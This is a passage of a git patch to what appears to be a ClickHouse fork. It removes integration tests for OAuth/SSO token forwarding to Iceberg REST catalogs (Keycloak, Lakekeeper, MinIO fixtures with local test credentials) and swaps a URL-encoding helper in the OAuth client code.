- toYYYYMM(event_date) - 7500 - - diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml deleted file mode 100644 index 6ef4a77905fd..000000000000 --- a/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml +++ /dev/null @@ -1,23 +0,0 @@ - - 1 - - - - openid - http://keycloak:8080/realms/clickhouse-test/.well-known/openid-configuration - true - preferred_username - 60 - 5 - - - - - keycloak - default - - - - - - diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml deleted file mode 100644 index 5129a624f5a6..000000000000 --- a/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - 1 - - - - - 1 - 1 - - - diff --git a/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json b/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json deleted file mode 100644 index cfa8d1c52d68..000000000000 --- a/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json +++ /dev/null @@ -1,131 +0,0 @@ -{ - "realm": "clickhouse-test", - "enabled": true, - "sslRequired": "none", - "registrationAllowed": false, - "accessTokenLifespan": 1800, - "clients": [ - { - "clientId": "clickhouse", - "enabled": true, - "secret": "clickhouse-secret", - "publicClient": false, - "directAccessGrantsEnabled": true, - "serviceAccountsEnabled": false, - "standardFlowEnabled": true, - "protocol": "openid-connect", - "redirectUris": [ - "*" - ], - "webOrigins": [ - "*" - ], - "attributes": { - "standard.token.exchange.enabled": "true" - }, - "protocolMappers": [ - { - "name": "lakekeeper-audience", - "protocol": "openid-connect", - "protocolMapper": "oidc-audience-mapper", - "consentRequired": false, - "config": { - "included.custom.audience": "lakekeeper", - "id.token.claim": "false", - "access.token.claim": "true", - "introspection.token.claim": "true" - } - } - ] - }, - { - "clientId": "clickhouse-exchange", - "enabled": true, - "secret": "clickhouse-exchange-secret", - "publicClient": false, - "directAccessGrantsEnabled": true, - "serviceAccountsEnabled": false, - "standardFlowEnabled": true, - "protocol": "openid-connect", - "redirectUris": [ - "*" - ], - "webOrigins": [ - "*" - ], - "protocolMappers": [ - { - "name": "clickhouse-audience", - "protocol": "openid-connect", - "protocolMapper": "oidc-audience-mapper", - "consentRequired": false, - "config": { - "included.client.audience": "clickhouse", - "id.token.claim": "false", - "access.token.claim": "true", - "introspection.token.claim": "true" - } - } - ] - } - ], - "users": [ - { - "username": "lkadmin", - "enabled": true, - "emailVerified": true, - "email": "lkadmin@example.com", - "firstName": "Lakekeeper", - "lastName": "Admin", - "requiredActions": [], - "credentials": [ - { - "type": "password", - "value": "secret", - "temporary": false - } - ], - "realmRoles": [ - "default-roles-clickhouse-test" - ] - }, - { - "username": "alice", - "enabled": true, - "emailVerified": true, - "email": "alice@example.com", - "firstName": "Alice", - "lastName": "Tester", - "requiredActions": [], - "credentials": [ - { - "type": "password", - "value": "secret", - "temporary": false - } - ], - "realmRoles": [ - "default-roles-clickhouse-test" - ] - }, - { - "username": "bob", - "enabled": true, - "emailVerified": true, - "email": "bob@example.com", - "firstName": "Bob", - "lastName": "Tester", - "requiredActions": [], - "credentials": [ - { - "type": "password", - "value": "secret", - "temporary": false - } - ], - "realmRoles": [ - "default-roles-clickhouse-test" - ] - } - ] -} diff --git a/tests/integration/test_datalake_sso_lakekeeper/test.py b/tests/integration/test_datalake_sso_lakekeeper/test.py deleted file mode 100644 index 8e1a50065aa5..000000000000 --- a/tests/integration/test_datalake_sso_lakekeeper/test.py +++ /dev/null @@ -1,406 +0,0 @@ -import json -import logging -import time -import uuid - -import pandas as pd -import pyarrow as pa -import pytest -import requests -from pyiceberg.catalog.rest import RestCatalog -from pyiceberg.schema import Schema -from pyiceberg.types import IntegerType, NestedField, StringType - -from helpers.cluster import ClickHouseCluster - -REALM = "clickhouse-test" -KEYCLOAK_INTERNAL = f"http://keycloak:8080/realms/{REALM}" -TOKEN_ENDPOINT = f"{KEYCLOAK_INTERNAL}/protocol/openid-connect/token" -CATALOG_INTERNAL_URL = "http://lakekeeper:8181/catalog" - -CLIENT_ID = "clickhouse" -CLIENT_SECRET = "clickhouse-secret" -EXCHANGE_CLIENT_ID = "clickhouse-exchange" -EXCHANGE_CLIENT_SECRET = "clickhouse-exchange-secret" -SCOPE = "openid" - -WAREHOUSES = ["wh_alice", "wh_bob", "wh_shared"] - -SCHEMA = Schema( - NestedField(field_id=1, name="id", field_type=IntegerType(), required=False), - NestedField(field_id=2, name="data", field_type=StringType(), required=False), -) - - -def lakekeeper_host_url(cluster): - return f"http://localhost:{cluster.iceberg_rest_catalog_port}" - - -def get_token(node, username, password="secret", client_id=CLIENT_ID, client_secret=CLIENT_SECRET, - scope=SCOPE): - form = ( - f"grant_type=password&client_id={client_id}&client_secret={client_secret}" - f"&username={username}&password={password}" - ) - if scope: - form += f"&scope={scope}" - raw = node.exec_in_container( - ["bash", "-c", f"curl -s -X POST -d '{form}' {TOKEN_ENDPOINT}"] - ) - payload = json.loads(raw) - assert "access_token" in payload, raw - return payload["access_token"] - - -def jwt_claim(token, claim): - import base64 - - body = token.split(".")[1] - body += "=" * (-len(body) % 4) - return json.loads(base64.urlsafe_b64decode(body))[claim] - - -def management(cluster, method, path, token, json_body=None, expected=(200, 201, 204, 409)): - response = requests.request( - method, - f"{lakekeeper_host_url(cluster)}/management/v1{path}", - headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"}, - json=json_body, - timeout=60, - ) - assert response.status_code in expected, f"{method} {path} -> {response.status_code}: {response.text}" - return response - - -def lakekeeper_rejects(cluster, token): - response = requests.get( - f"{lakekeeper_host_url(cluster)}/management/v1/whoami", - headers={"Authorization": f"Bearer {token}"}, - timeout=60, - ) - return response.status_code == 401 - - -def create_warehouse(cluster, token, name): - minio_endpoint = f"http://{cluster.minio_ip}:{cluster.minio_port}" - body = { - "warehouse-name": name, - "project-id": "00000000-0000-0000-0000-000000000000", - "storage-profile": { - "type": "s3", - "bucket": "warehouse-rest", - "key-prefix": name, - "assume-role-arn": None, - "endpoint": minio_endpoint, - "region": "local-01", - "path-style-access": True, - "flavor": "minio", - "sts-enabled": True, - }, - "storage-credential": { - "type": "s3", - "credential-type": "access-key", - "aws-access-key-id": "minio", - "aws-secret-access-key": "ClickHouse_Minio_P@ssw0rd", - }, - } - response = management(cluster, "POST", "/warehouse", token, body) - if response.status_code == 409: - listing = management(cluster, "GET", "/warehouse", token).json() - for warehouse in listing.get("warehouses", []): - if warehouse["name"] == name: - return warehouse["id"] - raise AssertionError(f"warehouse {name} exists but was not listed") - return response.json()["id"] - - -def provision_user(cluster, admin_token, token_of_user, username): - management( - cluster, - "POST", - "/user", - admin_token, - { - "id": f"oidc~{jwt_claim(token_of_user, 'sub')}", - "name": username, - "email": f"{username}@example.com", - "user-type": "human", - "update-if-exists": True, - }, - ) - return f"oidc~{jwt_claim(token_of_user, 'sub')}" - - -def grant_on_warehouse(cluster, admin_token, warehouse_id, user_id, relations): - management( - cluster, - "POST", - f"/permissions/warehouse/{warehouse_id}/assignments", - admin_token, - {"writes": [{"user": user_id, "type": relation} for relation in relations]}, - ) - - -def pyiceberg_catalog(cluster, warehouse, token): - return RestCatalog( - name="lakekeeper", - warehouse=warehouse, - uri=f"{lakekeeper_host_url(cluster)}/catalog", - token=token, - **{ - "s3.endpoint": f"http://{cluster.minio_ip}:{cluster.minio_port}", - "s3.access-key-id": "minio", - "s3.secret-access-key": "ClickHouse_Minio_P@ssw0rd", - }, - ) - - -def seed_table(cluster, warehouse, token, namespace, table_name, rows=3): - catalog = pyiceberg_catalog(cluster, warehouse, token) - if (namespace,) not in catalog.list_namespaces(): - catalog.create_namespace((namespace,)) - table = catalog.create_table( - (namespace, table_name), - schema=SCHEMA, - properties={"write.metadata.compression-codec": "none"}, - ) - table.append( - pa.Table.from_pandas( - pd.DataFrame({"id": list(range(rows)), "data": [f"row{i}" for i in range(rows)]}), - schema=table.schema().as_arrow(), - ) - ) - return table - - -def create_database(node, name, warehouse, extra=None): - settings = { - "catalog_type": "rest", - "warehouse": warehouse, - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "oauth_forward_user_token": 1, - } - settings.update(extra or {}) - node.query(f"DROP DATABASE IF EXISTS {name}") - node.query( - f"SET allow_experimental_database_iceberg=true;" - f"CREATE DATABASE {name} ENGINE = DataLakeCatalog('{CATALOG_INTERNAL_URL}') " - f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}" - ) - - -def query_as(node, token, sql, query_id=None): - params = {"query_id": query_id} if query_id else None - response = node.http_request( - "", method="POST", data=sql, params=params, - headers={"Authorization": f"Bearer {token}"}, - ) - return response - - -def query_as_ok(node, token, sql, query_id=None): - response = query_as(node, token, sql, query_id) - assert response.status_code == 200, response.text - return response.text - - -def profile_event(node, query_id, event): - node.query("SYSTEM FLUSH LOGS") - value = node.query( - f"SELECT sum(ProfileEvents['{event}']) FROM system.query_log " - f"WHERE query_id = '{query_id}' AND type = 'QueryFinish'" - ).strip() - return int(value) if value else 0 - - -@pytest.fixture(scope="module") -def started_cluster(): - cluster = ClickHouseCluster(__file__) - try: - for name in ("node1", "node2"): - cluster.add_instance( - name, - main_configs=[ - "configs/token_forwarding.xml", - "configs/cluster.xml", - "configs/session_log.xml", - ], - user_configs=["configs/users.xml"], - stay_alive=True, - with_iceberg_catalog=True, - extra_parameters={ - "docker_compose_file_name": "docker_compose_iceberg_lakekeeper_oidc_catalog.yml" - }, - ) - logging.info("Starting cluster...") - cluster.start() - - node = cluster.instances["node1"] - for instance in cluster.instances.values(): - instance.query("CREATE ROLE IF NOT EXISTS token_users") - instance.query("GRANT CHECK, DROP TABLE, INSERT, SELECT, SHOW ON *.* TO token_users") - instance.query("GRANT S3 ON *.* TO token_users") - instance.query("GRANT REMOTE ON *.* TO token_users") - - wait_for_lakekeeper(cluster) - - admin_token = get_token(node, "lkadmin") - management( - cluster, - "POST", - "/bootstrap", - admin_token, - {"accept-terms-of-use": True, "is-operator": True}, - expected=(200, 204, 400, 409), - ) - - alice_token = get_token(node, "alice") - bob_token = get_token(node, "bob") - alice_id = provision_user(cluster, admin_token, alice_token, "alice") - bob_id = provision_user(cluster, admin_token, bob_token, "bob") - - warehouse_ids = {name: create_warehouse(cluster, admin_token, name) for name in WAREHOUSES} - - full = ["describe", "select", "create", "modify"] - grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_alice"], alice_id, full) - grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_bob"], bob_id, full) - grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_shared"], alice_id, ["describe", "select"]) - grant_on_warehouse(cluster, admin_token, warehouse_ids["wh_shared"], bob_id, ["describe", "select"]) - - seed_table(cluster, "wh_alice", admin_token, "ns", "t_alice") - seed_table(cluster, "wh_bob", admin_token, "ns", "t_bob") - seed_table(cluster, "wh_shared", admin_token, "ns", "t_shared") - - cluster.lakekeeper_warehouse_ids = warehouse_ids - yield cluster - finally: - cluster.shutdown() - - -def wait_for_lakekeeper(cluster, timeout=180): - deadline = time.time() + timeout - last = None - while time.time() < deadline: - try: - response = requests.get(f"{lakekeeper_host_url(cluster)}/health", timeout=5) - if response.status_code == 200: - return - last = response.text - except requests.exceptions.RequestException as ex: - last = str(ex) - time.sleep(2) - raise AssertionError(f"Lakekeeper did not become healthy: {last}") - - -def test_users_see_different_tables(started_cluster): - node = started_cluster.instances["node1"] - create_database(node, "db_alice", "wh_alice") - create_database(node, "db_bob", "wh_bob") - - alice = get_token(node, "alice") - bob = get_token(node, "bob") - - listing_sql = ( - "SELECT name FROM system.tables WHERE database = '{db}' ORDER BY name " - "SETTINGS show_data_lake_catalogs_in_system_tables = true" - ) - assert query_as_ok(node, alice, listing_sql.format(db="db_alice")).strip() == "ns.t_alice" - assert query_as_ok(node, bob, listing_sql.format(db="db_bob")).strip() == "ns.t_bob" - - denied = query_as(node, alice, listing_sql.format(db="db_bob")) - assert denied.status_code != 200, denied.text - denied = query_as(node, bob, listing_sql.format(db="db_alice")) - assert denied.status_code != 200, denied.text - - -def test_warm_credentials_cache_does_not_serve_another_user(started_cluster): - node = started_cluster.instances["node1"] - create_database(node, "db_alice", "wh_alice", {"vended_credentials_cache_ttl": 300}) - - alice = get_token(node, "alice") - assert int(query_as_ok(node, alice, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 - assert int(query_as_ok(node, alice, "SELECT count() FROM db_alice.`ns.t_alice`")) == 3 - - denied = query_as(node, get_token(node, "bob"), "SELECT count() FROM db_alice.`ns.t_alice`") - assert denied.status_code != 200, denied.text - - -def test_no_token_in_system_logs(started_cluster): - node = started_cluster.instances["node1"] - create_database(node, "db_alice", "wh_alice") - - token = get_token(node, "alice") - query_as_ok(node, token, "SELECT count() FROM db_alice.`ns.t_alice`") - query_as(node, token, "SELECT count() FROM db_alice.`ns.does_not_exist`") - query_as(node, token[:-4] + "AAAA", "SELECT 1") - - node.query("SYSTEM FLUSH LOGS") - needle = token.split(".")[2][:32] - for table, columns in ( - ("system.query_log", ["query", "exception", "stack_trace"]), - ("system.text_log", ["message"]), - ("system.session_log", ["failure_reason"]), - ): - condition = " OR ".join(f"{column} LIKE '%{needle}%'" for column in columns) - found = node.query(f"SELECT count() FROM {table} WHERE {condition}").strip() - assert found == "0", f"token leaked into {table}" - - -def test_swarm_read_does_not_reach_the_catalog_from_workers(started_cluster): - started = started_cluster - node1 = started.instances["node1"] - node2 = started.instances["node2"] - create_database(node1, "db_shared", "wh_shared") - - def catalog_requests(node): - node.query("SYSTEM FLUSH LOGS") - value = node.query( - "SELECT value FROM system.events WHERE event = 'DataLakeRestCatalogGetTableMetadata'" - ).strip() - return int(value) if value else 0 - - query_id = f"swarm-{uuid.uuid4()}" - before = catalog_requests(node2) - assert int(query_as_ok( - node1, - get_token(node1, "alice"), - "SELECT sum(id) FROM db_shared.`ns.t_shared` " - "SETTINGS object_storage_cluster = 'cluster_simple'", - query_id, - )) == 3 - - node2.query("SYSTEM FLUSH LOGS") - worker_queries = node2.query( - f"SELECT count() FROM system.query_log " - f"WHERE initial_query_id = '{query_id}' AND type = 'QueryFinish'" - ).strip() - assert int(worker_queries) > 0, "node2 never ran a part of the query" - - assert catalog_requests(node2) == before - - -def test_exchange_at_the_idp(started_cluster): - node = started_cluster.instances["node1"] - create_database( - node, - "db_exchange", - "wh_alice", - { - "catalog_credential": f"{CLIENT_ID}:{CLIENT_SECRET}", - "auth_scope": SCOPE, - "oauth_token_exchange_uri": TOKEN_ENDPOINT, - }, - ) - - token = get_token( - node, "alice", client_id=EXCHANGE_CLIENT_ID, client_secret=EXCHANGE_CLIENT_SECRET - ) - audience = jwt_claim(token, "aud") - assert "lakekeeper" not in ([audience] if isinstance(audience, str) else audience) - assert lakekeeper_rejects(started_cluster, token) - - query_id = f"exchange-{uuid.uuid4()}" - assert int(query_as_ok(node, token, "SELECT count() FROM db_exchange.`ns.t_alice`", query_id)) == 3 - assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchange") >= 1 - assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchangeFailures") == 0 - assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 diff --git a/tests/integration/test_datalake_token_forwarding/test.py b/tests/integration/test_datalake_token_forwarding/test.py index b2706d219734..83d9e9a92df6 100644 --- a/tests/integration/test_datalake_token_forwarding/test.py +++ b/tests/integration/test_datalake_token_forwarding/test.py @@ -11,10 +11,12 @@ SECRET = "datalake_token_forwarding_secret" BASE_URL = "http://rest:8181/v1" CATALOG_NAME = "demo" -WRITE_SETTINGS = { - "allow_insert_into_iceberg": 1, - "write_full_path_in_iceberg_metadata": 1, - "async_insert": 0, +DATABASE_SETTINGS = { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, } @@ -111,17 +113,6 @@ def catalog_tables(started_cluster, namespace): return {identifier["name"] for identifier in response.json()["identifiers"]} -def visible_tables(node, token, namespace, table, **kwargs): - return query_with_token( - node, - token, - f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " - f"AND name = '{namespace}.{table}' " - f"SETTINGS show_data_lake_catalogs_in_system_tables = true", - **kwargs, - ).strip() - - def profile_event(node, query_id, event): node.query("SYSTEM FLUSH LOGS") return int( @@ -129,24 +120,12 @@ def profile_event(node, query_id, event): f"SELECT sum(ProfileEvents['{event}']) FROM system.query_log " f"WHERE query_id = '{query_id}' AND type = 'QueryFinish'" ).strip() - or 0 ) -def test_password_user_is_denied_over_http(started_cluster): +def test_password_user_is_denied(started_cluster): node = started_cluster.instances["node1"] - - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "catalog_credential": "service:principal", - "oauth_forward_user_token": 1, - }, - ) + create_database(node, CATALOG_NAME, DATABASE_SETTINGS) response = node.http_request( "", @@ -157,75 +136,19 @@ def test_password_user_is_denied_over_http(started_cluster): assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in response.text, response.text -def test_password_user_is_denied_over_native(started_cluster): - node = started_cluster.instances["node1"] - - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "catalog_credential": "service:principal", - "oauth_forward_user_token": 1, - }, - ) - - output = node.query_and_get_error( - f"SELECT * FROM {CATALOG_NAME}.`nonexistent.table`", - user="passworduser", - password="passworduser_password", - ) - assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output - - def test_native_protocol_forwards_jwt(started_cluster): node = started_cluster.instances["node1"] - namespace = f"ns_{uuid.uuid4().hex[:8]}" - table = f"t_{uuid.uuid4().hex[:8]}" - create_namespace(started_cluster, namespace) - create_table_in_catalog(started_cluster, namespace, table) + create_database(node, CATALOG_NAME, DATABASE_SETTINGS) - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "oauth_forward_user_token": 1, - }, + node.exec_in_container( + ["clickhouse", "client", "--jwt", make_token("alice"), "--query", f"CHECK DATABASE {CATALOG_NAME}"] ) - token = make_token("alice") - result = node.exec_in_container( - [ - "bash", - "-c", - f"clickhouse client --jwt '{token}' --query " - f"\"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " - f"AND name = '{namespace}.{table}' " - f"SETTINGS show_data_lake_catalogs_in_system_tables = true\"", - ] - ) - assert result.strip() == "1", result - def test_no_forwarding_without_the_server_setting(started_cluster): node = started_cluster.instances["node1"] - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "catalog_credential": "service:principal", - "oauth_forward_user_token": 1, - }, - ) + create_database(node, CATALOG_NAME, DATABASE_SETTINGS) node.replace_in_config( "/etc/clickhouse-server/config.d/token_forwarding.xml", @@ -250,88 +173,40 @@ def test_no_forwarding_without_the_server_setting(started_cluster): node.query("SYSTEM RELOAD CONFIG") -def test_check_database_forwards_the_user_token(started_cluster): - node = started_cluster.instances["node1"] - namespace = f"ns_{uuid.uuid4().hex[:8]}" - create_namespace(started_cluster, namespace) - - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "oauth_forward_user_token": 1, - }, - ) - - query_with_token(node, make_token("checker"), f"CHECK DATABASE {CATALOG_NAME}") - - -WRITE_DATABASE_SETTINGS = { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "catalog_credential": "service:principal", - "oauth_forward_user_token": 1, -} - - def write_fixture(started_cluster, node): namespace = f"ns_{uuid.uuid4().hex[:8]}" table = f"t_{uuid.uuid4().hex[:8]}" create_namespace(started_cluster, namespace) create_table_in_catalog(started_cluster, namespace, table) - create_database(node, CATALOG_NAME, WRITE_DATABASE_SETTINGS, storage_credentials=True) + create_database(node, CATALOG_NAME, DATABASE_SETTINGS, storage_credentials=True) return namespace, table -def test_insert_reaches_the_catalog_as_the_querying_user(started_cluster): +def test_async_insert_retains_the_querying_user_token(started_cluster): node = started_cluster.instances["node1"] namespace, table = write_fixture(started_cluster, node) - token = make_token("writer") query_id = f"insert-{uuid.uuid4()}" query_with_token( node, token, f"INSERT INTO {CATALOG_NAME}.`{namespace}.{table}` VALUES ('written by the token user')", - params={"query_id": query_id, **WRITE_SETTINGS}, - ) - - assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 - assert ( - query_with_token(node, token, f"SELECT x FROM {CATALOG_NAME}.`{namespace}.{table}`").strip() - == "written by the token user" - ) - - -def test_async_insert_retains_the_querying_user_token(started_cluster): - node = started_cluster.instances["node1"] - namespace, table = write_fixture(started_cluster, node) - token = make_token("async_writer") - query_id = f"async-insert-{uuid.uuid4()}" - settings = { - **WRITE_SETTINGS, - "async_insert": 1, - "wait_for_async_insert": 0, - "async_insert_use_adaptive_busy_timeout": 0, - "async_insert_busy_timeout_ms": 60000, - } - query_with_token( - node, - token, - f"INSERT INTO {CATALOG_NAME}.`{namespace}.{table}` VALUES ('written asynchronously')", - params={"query_id": query_id, **settings}, + params={ + "query_id": query_id, + "allow_insert_into_iceberg": 1, + "write_full_path_in_iceberg_metadata": 1, + "async_insert": 1, + "wait_for_async_insert": 0, + "async_insert_use_adaptive_busy_timeout": 0, + "async_insert_busy_timeout_ms": 60000, + }, ) node.query("SYSTEM FLUSH ASYNC INSERT QUEUE") - assert profile_event(node, query_id, "AsyncInsertQuery") == 1 assert ( query_with_token(node, token, f"SELECT x FROM {CATALOG_NAME}.`{namespace}.{table}`").strip() - == "written asynchronously" + == "written by the token user" ) From f2ed7c38fe399ecf7fef6a867bebdc707730837c Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Mon, 21 Sep 2026 18:52:21 +0200 Subject: [PATCH 6/8] Simplify token forwarding and remove redundant test setup Simplify request serialization, settings validation, and uncached token exchange. Remove unused state, instrumentation, fixture settings, and the STS rejection gtest already covered by integration testing. Trim repeated documentation and restore unrelated client OAuth encoding to the release-branch implementation. Validation: rebuilt ClickHouse and unit tests; affected gtests and all seven integration cases passed. After removing the redundant gtest, both remaining STS mock tests and both Glue integration tests passed. Related: https://github.com/Altinity/ClickHouse/pull/2329 --- docs/en/engines/database-engines/datalake.md | 8 ---- src/Client/OAuthFlowRunner.cpp | 36 ++++++++------- src/Client/OAuthFlowRunner.h | 1 + src/Client/OAuthLogin.cpp | 7 ++- src/Common/ProfileEvents.cpp | 1 - src/Databases/DataLake/DatabaseDataLake.cpp | 29 +++++------- src/Databases/DataLake/GlueCatalog.cpp | 4 -- src/Databases/DataLake/RestCatalog.cpp | 34 +++----------- src/Databases/DataLake/RestCatalog.h | 1 - .../gtest_rest_catalog_token_forwarding.cpp | 10 ++--- src/IO/S3/tests/TestPocoHTTPServer.h | 29 +++--------- ...test_sts_assume_role_with_web_identity.cpp | 17 ------- .../configs/users.xml | 1 - .../test.py | 44 +++++-------------- .../configs/users.xml | 1 - .../test_datalake_token_forwarding/test.py | 16 +++---- 16 files changed, 71 insertions(+), 168 deletions(-) diff --git a/docs/en/engines/database-engines/datalake.md b/docs/en/engines/database-engines/datalake.md index 4a9137a31fce..3094590d073e 100644 --- a/docs/en/engines/database-engines/datalake.md +++ b/docs/en/engines/database-engines/datalake.md @@ -161,9 +161,6 @@ ClickHouse obtains the actor token through a `client_credentials` grant using `c at `oauth_server_uri`, or the catalog's `/v1/oauth/tokens` endpoint if that setting is empty. The token is cached until expiry and used only for exchanges. If obtaining it fails, the query fails. -With delegation enabled, `DataLakeRestCatalogAuthTokenRetrieve` counts actor-token requests. -Otherwise, this event should remain zero while forwarding. - ### Glue {#user-token-forwarding-glue} For Glue, ClickHouse exchanges the user's token through AWS STS `AssumeRoleWithWebIdentity` @@ -199,16 +196,11 @@ to accept the users' tokens, including their `aud` and `sub` claims. depending on `database_datalake_require_metadata_access`. - With `object_storage_cluster`, workers receive table-scoped storage credentials over the interserver channel. Configure `interserver_https_port` or a cluster `` for cluster reads. -- HTTP token rotation takes effect on the next request. Native TCP sessions must reconnect with - the new token. - For Iceberg REST, rotate `catalog_credential` with `ALTER DATABASE ... MODIFY SETTING`, authenticated with a user token. ClickHouse validates the new credentials and reloads the catalog configuration before applying the change, then invalidates cached session and storage credentials. Glue settings cannot be altered. -Forwarding settings contain no secrets and are shown by `SHOW CREATE DATABASE` and -`system.databases.engine_full`. - ## Namespace filter {#namespace} By default, ClickHouse reads tables from all namespaces available in the catalog. You can limit this behavior using the `namespaces` database setting. The value should be a comma‑separated list of namespaces that are allowed to be read. diff --git a/src/Client/OAuthFlowRunner.cpp b/src/Client/OAuthFlowRunner.cpp index 384993509bb6..753b315212a0 100644 --- a/src/Client/OAuthFlowRunner.cpp +++ b/src/Client/OAuthFlowRunner.cpp @@ -8,7 +8,6 @@ #include #include -#include #include #include @@ -357,6 +356,13 @@ void copyStreamWithLimit(std::istream & in, std::string & out, std::size_t max_b } } +std::string urlEncodeOAuth(const std::string & value) +{ + std::string result; + Poco::URI::encode(value, "", result); + return result; +} + Poco::JSON::Object::Ptr postOAuthForm(const std::string & url, const std::string & body) { Poco::URI uri(url); @@ -461,11 +467,11 @@ std::string runOAuthAuthCodeFlow(const OAuthCredentials & creds) std::string auth_url = creds.auth_uri + "?response_type=code" - "&client_id=" + formUrlEncode(creds.client_id) - + "&redirect_uri=" + formUrlEncode(redirect_uri) + "&client_id=" + urlEncodeOAuth(creds.client_id) + + "&redirect_uri=" + urlEncodeOAuth(redirect_uri) + "&code_challenge=" + pkce.challenge + "&code_challenge_method=S256" - + "&scope=" + formUrlEncode(provider_policy->getAuthCodeScope()) + + "&scope=" + urlEncodeOAuth(provider_policy->getAuthCodeScope()) + "&state=" + csrf_state; if (provider_policy->useAccessTypeOfflineForAuthCode()) auth_url += "&access_type=offline"; @@ -531,15 +537,15 @@ std::string runOAuthAuthCodeFlow(const OAuthCredentials & creds) std::string body = "grant_type=authorization_code" - "&code=" + formUrlEncode(received_code) - + "&redirect_uri=" + formUrlEncode(redirect_uri) - + "&client_id=" + formUrlEncode(creds.client_id) - + "&code_verifier=" + formUrlEncode(pkce.verifier); + "&code=" + urlEncodeOAuth(received_code) + + "&redirect_uri=" + urlEncodeOAuth(redirect_uri) + + "&client_id=" + urlEncodeOAuth(creds.client_id) + + "&code_verifier=" + urlEncodeOAuth(pkce.verifier); /// Confidential clients append the registered secret; public clients /// (PKCE-only) must omit the parameter entirely. An empty value is not /// equivalent to omission and is rejected by several IdPs as invalid_client. if (!creds.client_secret.empty()) - body += "&client_secret=" + formUrlEncode(creds.client_secret); + body += "&client_secret=" + urlEncodeOAuth(creds.client_secret); auto resp = postOAuthForm(creds.token_uri, body); if (resp->has("error")) @@ -562,14 +568,14 @@ std::string runOAuthAuthCodeFlow(const OAuthCredentials & creds) std::string buildDeviceAuthorizationRequestBody(const OAuthCredentials & creds, const std::string & scope) { std::string body - = "client_id=" + formUrlEncode(creds.client_id) - + "&scope=" + formUrlEncode(scope); + = "client_id=" + urlEncodeOAuth(creds.client_id) + + "&scope=" + urlEncodeOAuth(scope); /// Per RFC 8628 §3.1 a confidential client must authenticate on the /// device authorization request the same way as on the token endpoint. /// See runOAuthAuthCodeFlow() above: omit the parameter for public /// clients, do not send an empty value. if (!creds.client_secret.empty()) - body += "&client_secret=" + formUrlEncode(creds.client_secret); + body += "&client_secret=" + urlEncodeOAuth(creds.client_secret); return body; } @@ -664,11 +670,11 @@ std::string runOAuthDeviceFlow(OAuthCredentials creds) std::string poll_body = "grant_type=urn:ietf:params:oauth:grant-type:device_code" - "&device_code=" + formUrlEncode(device_code) - + "&client_id=" + formUrlEncode(creds.client_id); + "&device_code=" + urlEncodeOAuth(device_code) + + "&client_id=" + urlEncodeOAuth(creds.client_id); /// See runOAuthAuthCodeFlow() above: omit, do not send empty. if (!creds.client_secret.empty()) - poll_body += "&client_secret=" + formUrlEncode(creds.client_secret); + poll_body += "&client_secret=" + urlEncodeOAuth(creds.client_secret); auto resp = postOAuthForm(creds.token_uri, poll_body); if (resp->has("error")) diff --git a/src/Client/OAuthFlowRunner.h b/src/Client/OAuthFlowRunner.h index 5731c9779ca8..eea43a97fe88 100644 --- a/src/Client/OAuthFlowRunner.h +++ b/src/Client/OAuthFlowRunner.h @@ -34,6 +34,7 @@ constexpr int OAUTH_HTTP_TIMEOUT_SECONDS = 30; /// untrusted OAuth/OIDC endpoints. void copyStreamWithLimit(std::istream & in, std::string & out, std::size_t max_bytes); +std::string urlEncodeOAuth(const std::string & value); Poco::JSON::Object::Ptr postOAuthForm(const std::string & url, const std::string & body); /// Build the form body of the RFC 8628 device authorization request. Exposed diff --git a/src/Client/OAuthLogin.cpp b/src/Client/OAuthLogin.cpp index 2d098c709da8..d95dc0c00917 100644 --- a/src/Client/OAuthLogin.cpp +++ b/src/Client/OAuthLogin.cpp @@ -4,7 +4,6 @@ #if USE_JWT_CPP && USE_SSL #include -#include #include #include @@ -311,12 +310,12 @@ std::string tryRefreshToken(const OAuthCredentials & creds, const std::string & { std::string body = "grant_type=refresh_token" - "&client_id=" + formUrlEncode(creds.client_id) - + "&refresh_token=" + formUrlEncode(refresh_token); + "&client_id=" + urlEncodeOAuth(creds.client_id) + + "&refresh_token=" + urlEncodeOAuth(refresh_token); /// Public clients (no registered secret) must omit the parameter /// entirely; see 